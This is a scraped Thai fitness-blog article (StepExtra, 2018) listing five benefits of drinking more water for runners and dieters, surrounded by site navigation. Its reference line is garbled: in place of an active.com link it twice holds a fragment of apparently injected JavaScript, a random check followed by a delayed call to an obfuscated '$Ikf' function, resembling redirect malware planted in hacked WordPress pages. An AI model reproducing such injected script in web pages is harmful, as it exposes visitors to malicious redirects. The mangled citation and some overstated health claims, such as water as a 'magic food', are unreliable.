• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

ดื่มน้ำให้มากขึ้น ให้ประโยชน์มากกว่าที่คุณคิด

kan by kan
22 August 2018
in Healthy Tips, Running Tips, Tips & Technics
0
ดื่มน้ำให้มากขึ้น ให้ประโยชน์มากกว่าที่คุณคิด
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

หากมีคนกล่าวที่ว่า ดื่มน้ำดี ดูอ่อนไปสิบดี…ก็ไม่ใช่เรื่องที่ดูเกินจริงไปซะทีเดียว ร่างกายมนุษย์อย่างที่รู้อยู่มีน้ำเป็นองค์ประกอบหลัก 70% ฉะนั้นการน้ำจึงเป็นปัจจัยหลักในการดำเนินรักษาสุขภาพให้แข็งแรง นอกจากนี้ น้ำคืออาหารเวทมนต์ ที่ดีที่สุดสำหรับคนที่จะควบคุมน้ำหนัก เป็นของเหลวที่ช่วยชำระล้างระบบต่างๆ ในร่างกาย น้ำให้พลังงาน 0 แคลอรี่ (ดื่มมากน้อยเค่ไหนก็ได้ 0 cal) และน้ำยังมีส่วนสนับสนุนทางต่อและทางอ้อมในการลดน้ำหนักได้อีกด้วย

ดื่มน้ำให้มากขึ้น ให้ประโยชน์มากกว่าที่คุณคิด

  1. บูสระบบประสาทสมอง

การขาดน้ำหรืออยู่ในสภาวะ Dehydration จะทำให้ระบบประสาท การสั่งการของสมองด้อยลง จดจำได้ไม่ดี ขาดสมาธิ หงุดหงิด อารมณ์เสียง่าย ยิ่งถ้าเรากำลังอยู่ในช่วงการควบคุมอาหารและด้วย ความสามารถการตัดสินใจและควบคุมตัวเองก็จะแย่ลง จะกินของหวานหรือเลือกสลัดผัก เป็นเรื่องที่ตัดสินใจไม่ยากเลย เพราะการควบคุมน้ำหนัก คือเกมส์ของการควบคุมสติอารมณ์ การเลือกกินและการตัดสินใจออกกำลังกายอย่างต่อเนื่อง

  1. ต้องการพลังด่วน น้ำช่วยได้

การดื่มน้ำจะช่วยให้คุณรู้สึกกระปรี้กระเปร่าขึ้น เหมือนมีพลังงานมาเพิ่ม การรู้สึกง่วงนอน บางครั้งคืออาการขาดน้ำ (Dehydration) ให้ทดลองดื่มน้ำดู คุณจะรู้สึกสดชื่นขึ้นมาทันที นอกจากนี้ คนออกกำลังกาย การดื่มน้ำจะช่วยกระตุ้นให้มีพลังงานที่อยากจะออกไปวิ่ง ออกไปยกเวท การดื่มน้ำให้ถึง จะช่วยให้เวลาช่วงการออกกำลังกายยาวมากขึ้นและมี Productive มากขึ้นด้วย

  1. ช่วยลดอาการหิว

การดื่มน้ำจะช่วยกระตุ้นให้ระบบเมตาบอลิซึมทำงานได้ดีและช่วยลดอาการหิว รู้สึกอิ่มได้เร็วขึ้น สำหรับนักวิ่งนักกีฬา หรือแม้แต่คนวัยทำงาน การดื่มน้ำก่อนรับประทานอาหารจะช่วยลดการ Over consumption หรือลดอาการกินเกิน กินเพลินได้ ยิ่งออกกกำลังกายเสร็จมาใหม่ๆ เรามักจะรับประทานอาหารมากขึ้นกว่าเดิม ดังนั้นจึงแนะนำว่า ดื่มน้ำสักแก้วก่อนมื้ออาหาร จะช่วยลดอาการอยากและอิ่มเร็วขึ้น และอย่าลืม ทุกเช้าดื่มน้ำหนึ่งถึงสองแก้ว เพื่อกระตุ้นให้ระบบเผาผลาญพลังงานตื่นตัว

  1. เป็นพลังงานให้มัดกล้ามเนื้อ

กล้ามเนื้อคือตัวดึงพลังงานมาเผาผลาญเพื่อให้เกิดเป็นพลังงานในการขับเคลื่อน ยิ่งมีปริมาณกล้ามเนื้อมาก นั้นคือโอกาสดึงไขมันมาใช้ก็สูงขึ้นไปด้วย น้ำที่ดื่มเข้าไปจะทำหน้าที่เหมือนสารหล่อลื่น นำพาสารอาหารไปเลี้ยงและนำของเสียออกไป แต่ทั้งนี้การสร้างกล้ามเนื้อก็ไม่ควรมองข้ามเรื่องโภชนาการ เช่น การรับโปรตีนและการรักษาปริมาณเกลือแร่ในร่างกาย

  1. ช่วยรักษาน้ำหนักให้คงที่

การลดที่ว่ายากแล้ว แต่การรักษาให้น้ำหนักคงที่ยังยากกว่าอีก การดื่มน้ำเป็นประจำและมีปริมาณที่ต้องการพอดีกับร่างกาย จะทำให้เราสามารถควบคุมน้ำหนักตัวเองได้ดีขึ้น การดื่มน้ำหวานบ่อยๆ จะทำให้ปริมาณน้ำตาลในกระแสเลือดมีความแปรปรวนสูง มีขึ้นเร็วและลงเร็ว ทำให้อารมณ์ไม่คงที ควบคุมสติ ลดการตัดสินใจลง นักวิ่งและคนรักษาสุขภาพควรตัดการดื่มน้ำหวานลงและหันมาดื่มน้ำให้มากขึ้น

พิเศษเพิ่มเติมสำหรับใครที่เป็นนักวิ่งอยู่ด้วยแล้ว การดื่มน้ำก่อนออกวิ่ง 15-30 นาที จะช่วยให้เราวิ่งได้นานขึ้น ร่างกายอยู่ในสภาพที่มีความสมดุลน้ำจึงวิ่งได้ดี ไปได้ไกลมากขึ้น และดื่มน้ำก่อนที่จะมีอาการหิวกระหายทุกครั้ง เพราะถ้าเรารู้สึกหิวนั้นคือ เรา Dehydration เรียบร้อยแล้ว

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-nutrition/articles/5-ways-drinking-more-water-can-help-you-lose-weight/slide-6?clckmp=activecom_global_recommendedarticles_pos1″>www.active.com

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-nutrition/articles/5-ways-drinking-more-water-can-help-you-lose-weight/slide-6?clckmp=activecom_global_recommendedarticles_pos1″>

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.